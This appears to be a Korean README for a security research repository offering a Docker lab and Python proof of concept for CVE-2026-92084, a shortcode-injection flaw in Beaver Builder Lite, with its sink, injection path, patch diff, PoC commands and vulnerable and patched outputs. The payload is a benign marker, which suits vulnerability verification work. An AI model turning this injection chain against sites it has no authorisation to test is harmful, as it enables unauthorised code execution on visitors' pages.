
CVE-2026-92084에 대한 Docker 검증 랩 및 Python PoC로, Beaver Builder Lite <= 2.11.0.5의 인증되지 않은 shortcode 실행 취약점이며, 패치된 컨트롤과 nuclei 화면을 포함합니다.
CVE-2026-92084를 재현하고 검증하기 위한 보안 연구 자료:
Beaver Builder (Lite) <= 2.11.0.5는 빌더의 레이아웃 전체 do_shortcode() 처리(pass)를 통해, Sidebar 모듈이 렌더링하는 위젯 출력에 심어진 임의의 등록된 WordPress 숏코드를 실행한다.
'renders_shortcodes' => false를 설정함;
대괄호 인코딩 메커니즘 자체는 더 이전에 배포되었으며 변경되지 않음)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) - CWE-94소유하고 있거나 명시적으로 테스트 권한을 받은 시스템에서만 사용하십시오. 이 PoC는 작성자 이름에 랩에 등록된 마커 숏코드가 포함된 댓글 하나를 게시합니다. 파괴적인 숏코드는 사용되지 않으며 디스크에 아무것도 기록되지 않습니다.
상태: 제공된 랩에서 입증됨.
Beaver Builder Lite 2.11.0.5 (WordPress 7.1.2, Sidebar 모듈 + Recent Comments 위젯이 있는 빌더 페이지):
comment posted : author name "[cve92084]" on the builder page
result : rendered page contains the marker shortcode's server-side
output "CVE92084-SHORTCODE-FIRED"
(executed by the layout-wide do_shortcode() pass)
2.11.0.6 : brackets entity-encoded, marker absent (patched negative
control; page shows the literal text [cve92084])
임의의 등록된 숏코드를 서버 측에서 실행하고 그 출력을 페이지에 삽입하여 모든 방문자에게 노출되는 것을 보여줍니다. 이는 RCE를 보여주는 것은 아니며, 영향은 대상에 어떤 숏코드가 등록되어 있는지(게시물/메타데이터 노출, 폼, 부작용이 있는 플러그인 제공 숏코드)에 따라 달라집니다.
싱크. FLBuilder::render_content()는 조립된 빌더 레이아웃을 출력하기 전에 광범위한 숏코드 처리를 거치게 합니다:
// classes/class-fl-builder.php:2139, Beaver Builder Lite 2.11.0.5
$content = do_shortcode( $content );
주입 지점. Sidebar 모듈은 WordPress 사이드바의 위젯 출력을 해당 레이아웃에 그대로 렌더링합니다:
// modules/sidebar/includes/frontend.php:4, 2.11.0.5
if ( ! dynamic_sidebar( $settings->sidebar ) ) {
위젯 콘텐츠는 신뢰할 수 없는 사용자 데이터입니다. 핵심 Recent Comments 위젯은 get_comment_author_link()를 그대로 출력합니다. 즉, (인증되지 않은) 댓글 작성자가 입력한 이름이 그대로 반영됩니다. FLBuilder::double_escape_shortcodes()는 [[x]] 이스케이프 형식의 대괄호만 다시 감쌀 뿐이므로, 일반 [cve92084]는 그대로 통과되어 do_shortcode() 처리에서 실행됩니다.
수정 사항. 2.11.0.5에는 이미 무력화 메커니즘이 포함되어 있습니다. FLBuilderModule::$renders_shortcodes = true(class-fl-builder-module.php:143)와 두 모듈 렌더 필터에 연결된 FLBuilder::escape_foreign_module_shortcodes()(class-fl-builder.php:109-110, 3240에서 적용)가 그것으로, 모듈 출력에서 등록된 숏코드의 대괄호를 엔티티 인코딩합니다. 다만 Sidebar 모듈은 이 옵트아웃을 적용하지 않았을 뿐입니다. 2.11.0.6의 유일한 기능적 변경은 이 옵트아웃입니다:
// modules/sidebar/sidebar.php, 2.11.0.6
'renders_shortcodes' => false,
// dynamic_sidebar() renders third-party widget output that can contain
// untrusted user data (e.g. a comment author name via the core Recent
// Comments widget); do not run its shortcodes.
/wp-comments-post.php에 댓글을 POST한다.do_shortcode() 처리가 페이로드를 실행한다. 그 출력이 작성자 이름을 대체하여 모든 방문자에게 보이게 된다.요구 사항: Compose v2가 포함된 Docker, 호스트의 Python 3.10+.
./lab verify
2.11.0.5 랩을 빌드하고 마커가 작동해야 하며, 그다음 2.11.0.6 랩을 빌드하고 마커가 없어야 합니다. ./lab reset으로 모든 것을 제거하십시오.
취약한 컨트롤:
[!!!] SHORTCODE EXECUTION CONFIRMED
posted : comment author '[cve92084]' on page 5
evidence: 'CVE92084-SHORTCODE-FIRED' present in the rendered builder page
context : ...<a href="https://github.com/hassham1/cve-2026-92084-beaver-builder-shortcode-poc/blob/main/..." class="url">CVE92084-SHORTCODE-FIRED</a>...
RESULT: VULNERABLE CONTROL CONFIRMED
패치된 컨트롤:
[=] shortcode text present but NOT executed: brackets entity-encoded
(patched >= 2.11.0.6 behavior: escape_foreign_shortcodes).
RESULT: PATCHED CONTROL CONFIRMED
페이지에 표시된 주석(원시 텍스트) 안에만 마커가 있는 것은 증거로 인정되지 않으며, 마커는 숏코드의 실행된 출력으로 나타나야 합니다.
./lab start vulnerable # 2.11.0.5 lab on http://127.0.0.1:9488
./lab test # assert marker fires
./lab start patched # 2.11.0.6 lab
./lab test # assert absence
./lab status
./lab reset
루프백 기본값으로 PoC를 수동 실행합니다(권한이 부여된 외부 대상에는 명시적 재정의가 필요함):
python3 poc/poc_cve_2026_92084.py --url http://127.0.0.1:9488 --post-id 5
python3 poc/poc_cve_2026_92084.py --url https://target.example \
--post-id 5 --allow-authorized-non-loopback [--insecure]
nuclei 템플릿(nuclei/cve-2026-92084.yaml)은 버전 확인용일 뿐입니다
(readme.txt stable tag <= 2.11.0.5). 동작 체인은 댓글 제출과 승인 전환이
필요하며, 이는 nuclei로 표현하기에 실용적이지 않습니다. Python PoC가 전체
흐름을 수행합니다.
| 버전 | 평가 |
|---|---|
| Beaver Builder Lite 2.11.0.5 | 숏코드 실행이 엔드 투 엔드로 재현됨 |
| Beaver Builder Lite 2.11.0.6 | 패치된 네거티브 컨트롤이 재현됨 |
| Beaver Builder Lite <= 2.11.0.4 | 권고에 따라 영향받음; 개별 테스트되지 않음 |
| Beaver Builder (Pro/Agency) | 테스트되지 않음 - 권고 범위는 Lite 플러그인임 |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-92084.yaml
├── poc/
│ └── poc_cve_2026_92084.py
└── provision/
└── install.php
커밋되지 않음: assets/(플러그인 zip), .lab-state, __pycache__/.
| 주장 | 상태 |
|---|---|
| Sidebar 모듈 위젯 출력을 통한 숏코드 실행 | 입증됨 (2.11.0.5) |
| 렌더링된 빌더 페이지에서 실행 출력 노출 | 입증됨 |
| 패치된 네거티브 컨트롤 (2.11.0.6, 대괄호 인코딩됨) | 입증됨 |
| 기본 구성 (랩 사이드바 + Recent Comments 위젯) | 입증됨 (이것이 랩 토폴로지임) |
| 사용자 데이터를 에코하는 기타 위젯 (태그 클라우드, 메타, 커스텀) | 테스트되지 않음 |
| 등록된 숏코드 출력 이상의 영향 (RCE) | 주장하지 않음 |
이 저장소는 소유하고 있거나 테스트 권한을 명시적으로 부여받은 시스템에서만
실행하십시오. 랩 드라이버는 vulnerable/patched 이외의 변형을 거부하고,
PoC는 --allow-authorized-non-loopback이 제공되지 않는 한 루프백이 아닌
대상을 거부하며, Compose 포트는 127.0.0.1에 바인딩됩니다.
공개 처리에 대해서는 SECURITY.md를 참조하십시오. 이 저장소에는 프로덕션 대상, 고객 데이터, 액세스 토큰 또는 실제 시스템의 증거가 포함되어 있지 않습니다.
MIT - LICENSE 참조.